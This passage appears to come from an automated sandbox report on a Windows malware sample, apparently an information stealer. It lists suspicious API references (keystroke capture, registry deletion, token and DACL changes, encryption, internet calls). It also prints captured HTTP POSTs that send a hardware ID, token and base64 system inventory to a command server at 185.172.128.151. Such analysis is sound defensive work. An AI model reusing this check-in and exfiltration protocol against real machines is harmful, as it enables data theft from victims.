00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp")3e:T4b0,Found reference to API "FindFirstFileExA" (Indicator: "FindFirstFile"; File: "850a2a0eee8fe41dc2b84bcf4f692aa2.exe") Found reference to API "FindFirstFileExA" (Indicator: "FindFirstFile"; Source: "00000000-00001100.00000001.117335.0040C000.00000002.mdmp") Found reference to API "FindFirstFileTransactedW" (Indicator: "FindFirstFile"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp") Found reference to API "FindFirstFileW" (Indicator: "FindFirstFile"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.06614000.00000004.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.06534000.00000004.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.06614000.00000004.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.06534000.00000004.mdmp")3f:Tb3e,Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "850a2a0eee8fe41dc2b84bcf4f692aa2.exe") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "850a2a0eee8fe41dc2b84bcf4f692aa2.exe") Found reference to API "GetEnvironmentStrings" (Indicator: "GetEnvironmentStrings"; File: "850a2a0eee8fe41dc2b84bcf4f692aa2.exe") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "850a2a0eee8fe41dc2b84bcf4f692aa2.exe") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "850a2a0eee8fe41dc2b84bcf4f692aa2.exe") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00001100.00000001.117335.0040C000.00000002.mdmp, 00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.06614000.00000004.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.06534000.00000004.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00001100.00000001.117335.0040C000.00000002.mdmp, 00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.06614000.00000004.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.06534000.00000004.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "GetEnvironmentStrings" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00001100.00000001.117335.0040C000.00000002.mdmp, 00000000-00006116.00000000.116524.06614000.00000004.mdmp, 00000000-00009160.00000000.117798.06534000.00000004.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00001100.00000001.117335.0040C000.00000002.mdmp, 00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.06614000.00000004.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.06534000.00000004.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00001100.00000001.117335.0040C000.00000002.mdmp, 00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.06614000.00000004.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.06534000.00000004.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp")40:T866,Found reference to API "RegOpenKeyTransactedW" (Indicator: "RegOpenKey"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "RegOpenKeyTransactedW" (Indicator: "RegOpenKeyTransacted"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "RegOpenKeyExW" (Indicator: "RegOpenKey"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "RegQueryValueExW" (Indicator: "RegQueryValue"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "RegEnumKeyW" (Indicator: "RegEnumKey"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp") Found reference to API "RegQueryValueW" (Indicator: "RegQueryValue"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp") Found reference to API "RegEnumValueW" (Indicator: "RegEnumValue"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp") Found reference to API "RegEnumKeyExW" (Indicator: "RegEnumKey"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp")41:T122b,Found reference to API "GetCurrentDirectoryA" (Indicator: "GetCurrentDirectory"; File: "850a2a0eee8fe41dc2b84bcf4f692aa2.exe") Found reference to API "GetCurrentDirectoryA" (Indicator: "GetCurrentDirectory"; Source: "00000000-00001100.00000001.117335.0040C000.00000002.mdmp, 00000000-00006116.00000000.116524.06614000.00000004.mdmp, 00000000-00009160.00000000.117798.06534000.00000004.mdmp") Found reference to API "GetFileAttributesTransactedW" (Indicator: "GetFileAttributes"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp") Found reference to API "GetFileVersionInfoW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.06614000.00000004.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.06534000.00000004.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp") Found reference to API "GetFileAttributesExW" (Indicator: "GetFileAttributes"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.06614000.00000004.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.06534000.00000004.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "GetTempFileNameW" (Indicator: "GetTempFileName"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "SHGetSpecialFolderLocation" (Indicator: "SHGetSpecialFolderLocation"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "PathFindFileNameW" (Indicator: "PathFindFileName"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp")42:T822,Found reference to API "AttachThreadInput" (Indicator: "AttachThreadInput"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp") Found reference to API "GetKeyState" (Indicator: "GetKeyState"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "GetKeyNameTextW" (Indicator: "GetKeyNameText"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "MapVirtualKeyW" (Indicator: "MapVirtualKey"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "GetAsyncKeyState" (Indicator: "GetAsyncKeyState"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "GetKeyboardState" (Indicator: "GetKeyboardState"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "MapVirtualKeyExW" (Indicator: "MapVirtualKey"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp")43:T45e,Found reference to API "GetModuleFileNameW" (Indicator: "GetModuleFileName"; File: "850a2a0eee8fe41dc2b84bcf4f692aa2.exe") Found reference to API "GetModuleFileNameA" (Indicator: "GetModuleFileName"; File: "850a2a0eee8fe41dc2b84bcf4f692aa2.exe") Found reference to API "GetModuleFileNameW" (Indicator: "GetModuleFileName"; Source: "00000000-00001100.00000001.117335.0040C000.00000002.mdmp, 00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.06614000.00000004.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.06534000.00000004.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "GetModuleFileNameA" (Indicator: "GetModuleFileName"; Source: "00000000-00001100.00000001.117335.0040C000.00000002.mdmp, 00000000-00006116.00000000.116524.06614000.00000004.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.06534000.00000004.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp")44:T9b8,Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; File: "850a2a0eee8fe41dc2b84bcf4f692aa2.exe") Found reference to API "GetUserObjectInformationA" (Indicator: "GetUserObjectInformation"; File: "850a2a0eee8fe41dc2b84bcf4f692aa2.exe") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; Source: "00000000-00001100.00000001.117335.0040C000.00000002.mdmp, 00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "GetUserObjectInformationA" (Indicator: "GetUserObjectInformation"; Source: "00000000-00001100.00000001.117335.0040C000.00000002.mdmp") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.06614000.00000004.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.06534000.00000004.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "GetUserNameW" (Indicator: "GetUserName"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.03660000.00000004.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp") Found reference to API "NetUserGetInfo" (Indicator: "NetUserGetInfo"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "WTSQuerySessionInformationW" (Indicator: "WTSQuerySessionInformation"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp")45:T5bc,Found reference to API "RegDeleteKeyTransactedW" (Indicator: "RegDeleteKeyTransacted"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "RegDeleteKeyTransactedW" (Indicator: "RegDeleteKey"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "RegDeleteKeyExW" (Indicator: "RegDeleteKey"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp") Found reference to API "RegDeleteValueW" (Indicator: "RegDeleteValue"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "RegDeleteKeyW" (Indicator: "RegDeleteKey"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp")46:T433,Found reference to API "InitializeSecurityDescriptor" (Indicator: "InitializeSecurityDescriptor"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "SetSecurityDescriptorDacl" (Indicator: "SetSecurityDescriptorDacl"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "PlaiAccessCheck" (Indicator: "AccessCheck"; Source: "00000000-00006116.00000000.116524.03660000.00000004.mdmp, 00000000-00009160.00000000.117798.03570000.00000004.mdmp") Found reference to API "PlaiAccessCheckFromDcsFile" (Indicator: "AccessCheck"; Source: "00000000-00006116.00000000.116524.03660000.00000004.mdmp, 00000000-00009160.00000000.117798.03570000.00000004.mdmp")47:T694,Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; File: "850a2a0eee8fe41dc2b84bcf4f692aa2.exe") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; File: "850a2a0eee8fe41dc2b84bcf4f692aa2.exe") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; File: "850a2a0eee8fe41dc2b84bcf4f692aa2.exe") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00001100.00000001.117335.0040C000.00000002.mdmp, 00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.06614000.00000004.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.06534000.00000004.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00001100.00000001.117335.0040C000.00000002.mdmp, 00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.06614000.00000004.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.06534000.00000004.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00001100.00000001.117335.0040C000.00000002.mdmp, 00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.06614000.00000004.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.06534000.00000004.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp")48:T8b6,Observed import api "InitializeSecurityDescriptor" which can "Initializes a new security descriptor" [Source: run.exe] Observed import api "SetSecurityDescriptorDacl" which can "Sets information in a discretionary access control list (DACL)" [Source: run.exe] Observed import api "AccessCheck" which can "Determines whether a security descriptor grants a specified set of access rights to the client identified by an access token" [Source: relay.dll] Observed import api "AddAccessAllowedAce" which can "Adds an access-allowed access control entry (ACE) to an access control list (ACL)" [Source: relay.dll] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: relay.dll] Observed import api "DuplicateToken" which can "Creates a new access token that duplicates one already in existence" [Source: relay.dll] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: relay.dll] Observed import api "GetLengthSid" which can "Returns the length in bytes of a valid security identifier (SID)" [Source: relay.dll] Observed import api "InitializeAcl" which can "Initializes a new ACL structure" [Source: relay.dll] Observed import api "InitializeSecurityDescriptor" which can "Initializes a new security descriptor" [Source: relay.dll] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: relay.dll] Observed import api "IsValidSecurityDescriptor" which can "Determines whether the components of a security descriptor are valid" [Source: relay.dll] Observed import api "SetSecurityDescriptorDacl" which can "Sets information in a discretionary access control list (DACL)" [Source: relay.dll] Observed import api "SetSecurityDescriptorGroup" which can "Sets the primary group information of an absolute-format security descriptor replacing any primary group information already present in the security descriptor" [Source: relay.dll] Observed import api "SetSecurityDescriptorOwner" which can "Sets the owner information of an absolute-format security descriptor" [Source: relay.dll]49:T473,WriteFile GetModuleFileNameW IsDebuggerPresent GetModuleFileNameA UnhandledExceptionFilter TerminateProcess GetTickCount LoadLibraryA GetStartupInfoA GetProcAddress FindFirstFileExA CreateFileA GetCommandLineA GetModuleHandleW Sleep VirtualAlloc RegCreateKeyExW RegCloseKey CryptEncrypt RegEnumKeyW RegDeleteKeyW OpenProcessToken RegOpenKeyExW SetSecurityDescriptorDacl GetUserNameW RegEnumKeyExW RegDeleteValueW GetDriveTypeW GetFileAttributesW GetTempPathW CopyFileW CreateThread GetSystemDirectoryW ExitThread LoadLibraryW GetVersionExW VirtualProtect GetFileSize GetStartupInfoW DeleteFileW GetTempFileNameW GetFileSizeEx FindNextFileW FindFirstFileW CreateFileW GetSystemInfo LockResource GetCommandLineW GetFileAttributesExW FindResourceExW FindResourceW CreateProcessW ShellExecuteW GetCursorPos SetWindowsHookExW GetUpdateRect GetLastActivePopup GetWindowThreadProcessId HttpQueryInfoW InternetOpenW InternetQueryDataAvailable InternetConnectW InternetCrackUrlW InternetWriteFile InternetCloseHandle HttpSendRequestW InternetReadFile ShellExecuteExW FindWindowExW4a:T571," "------IEHCAKKJDBKKFHJJDHII Content-Disposition: form-data; name="hwid" 2039C540C46F1350827015 ------IEHCAKKJDBKKFHJJDHII Content-Disposition: form-data; name="build" default100 ------IEHCAKKJDBKKFHJJDHII--" HTTP/1.1 200 OK Date: Mon 29 Apr 2024 10:34:06 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 156 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>4E6A426C597A413459324D304D6A52685A444933597A5A6C4D4755345A6A63794F5759344E5459335A574E6A4E4451784D47466C4F4459795A6A686B4D575933....... "POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECGDHIDAAFHIIDGDBFIE Host: 185.172.128.151 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache" with payload::==> "------ECGDHIDAAFHIIDGDBFIE Content-Disposition: form-data; name="token" 60ec08cc424ad27c6e0e8f729f8567ecc4410ae862f8d1f76dc96c597e1ff03bd008a4de ------ECGDHIDAAFHIIDGDBFIE Content-Disposition: form-data; name="message" browsers ------ECGDHIDAAFHIIDGDBFIE--" HTTP/1.1 200 OK Date: Mon 29 Apr 2024 10:34:06 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5 max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>523239765A32786C49454E6F636D39745A587863523239765A32786C58454E6F636D39745A567856633256794945526864474638593268796232316C66474E6F....... "POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KECGDBFCBKFIDHIDHDHI Host: 185.172.128.151 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache" with payload::==> "------KECGDBFCBKFIDHIDHDHI Content-Disposition: form-data; name="token" 60ec08cc424ad27c6e0e8f729f8567ecc4410ae862f8d1f76dc96c597e1ff03bd008a4de ------KECGDBFCBKFIDHIDHDHI Content-Disposition: form-data; name="message" plugins ------KECGDBFCBKFIDHIDHDHI--" HTTP/1.1 200 OK Date: Mon 29 Apr 2024 10:34:06 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 5416 Keep-Alive: timeout=5 max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>5457563059553168633274385A47706A62474E72613264735A574E6F623239696247356E5A32686B615735745A57567461324A6E59326C384D58777766444238....... "POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGDGIIJJECFIDHJJKKFC Host: 185.172.128.151 Content-Length: 2619 Connection: Keep-Alive Cache-Control: no-cache" with payload::==> "------EGDGIIJJECFIDHJJKKFC Content-Disposition: form-data; name="token" 60ec08cc424ad27c6e0e8f729f8567ecc4410ae862f8d1f76dc96c597e1ff03bd008a4de ------EGDGIIJJECFIDHJJKKFC Content-Disposition: form-data; name="file_name" c3lzdGVtX2luZm8udHh0 ------EGDGIIJJECFIDHJJKKFC Content-Disposition: form-data; name="file" Ck5ldHdvcmsgSW5mbzoKCS0gSVA6IElQPwoJLSBDb3VudHJ5OiBJU08/CgpTeXN0ZW0gU3VtbWFyeToKCS0gSFdJRDogMjAzOUM1NDBDNDZGMTM1MDgyNzAxNQoJLSBPUzogV2luZG93cyA3IFByb2Zlc3Npb25hbAoJLSBBcmNoaXRlY3R1cmU6IHgzMgoJLSBVc2VyTmFtZTogSEFQVUJXUwoJLSBDb21wdXRlciBOYW1lOiBIQVBVQldTLVBDCgktIExvY2FsIFRpbWU6IDIwMjQvNC8yOSAxMDo0Mjo1CgktIFVUQzogMQoJLSBMYW5ndWFnZTogZW4tVVMKCS0gS2V5Ym9hcmRzOiBFbmdsaXNoIChVbml0ZWQgU3RhdGVzKQoJLSBMYXB0b3A6IEZBTFNFCgktIFJ1bm5pbmcgUGF0aDogQzpcVXNlcnNcSEFQVUJXU1xBcHBEYXRhXExvY2FsXFRlbXBcdTMzcy4wLmV4ZQoJLSBDUFU6IEludGVsKFIpIENvcmUoUikgR29sZCA2MjQwUiBDUFUgQCAyLjQwR0h6CgktIENvcmVzOiAyCgktIFRocmVhZHM6IDQKCS0gUkFNOiAzMDcxIE1CCgktIERpc3BsYXkgUmVzb2x1dGlvbjogMTI4MHgxMDI0CgktIEdQVToKCQktVk13YXJlIFNWR0EgM0QKCQktVk13YXJlIFNWR0EgM0QKCQktVk13YXJlIFNWR0EgM0QKCQktVk13YXJlIFNWR0EgM0QKCQktVk13YXJlIFNWR0EgM0QKCQktVk13YXJlIFNWR0EgM0QKCQktVk13YXJlIFNWR0EgM0QKCQktVk13YXJlIFNWR0EgM0QKCQktUkRQREQgQ2hhaW5lZCBERAoJCS1SRFAgRW5jb2RlciBNaXJyb3IgRHJpdmVyCgkJLVJEUCBSZWZsZWN0b3IgRGlzcGxheSBEcml2ZXIKVXNlciBBZ2VudHM6Ckluc3RhbGxlZCBBcHBzOgpBbGwgVXNlcnM6Cgk3LVppcCAxNi4wNCAtIDE2LjA0CglBZG9iZSBBSVIgLSAyNy4wLjAuMTI0CglBZG9iZSBGbGFzaCBQbGF5ZXIgMjcgQWN0aXZlWCAtIDI3LjAuMC4xODcKCUFkb2JlIFNob2Nrd2F2ZSBQbGF5ZXIgMTIuMyAtIDEyLjMuMS4yMDEKCUF1dG9JdCB2My4zLjE0LjIgLSAzLjMuMTQuMgoJR29vZ2xlIENocm9tZSAtIDEwOS4wLjU0MTQuMTIwCglIYW5jb20gT2ZmaWNlIDIwMTAgU0UgLSA4LjUuNQoJTW96aWxsYSBGaXJlZm94IDU3LjAuMSAoeDg2IGVuLVVTKSAtIDU3LjAuMQoJTW96aWxsYSBNYWludGVuYW5jZSBTZXJ2aWNlIC0gNTcuMC4xCglNaWNyb3NvZnQgT2ZmaWNlIFByb2Zlc3Npb25hbCBQbHVzIDIwMTAgLSAxNC4wLjYwMjkuMTAwMAoJV2luUGNhcCA0LjEuMyAtIDQuMS4wLjI5ODAKQ3VycmVudCBVc2VyOgoJTWljcm9zb2Z0IE9uZURyaXZlIC0gMTcuMy40N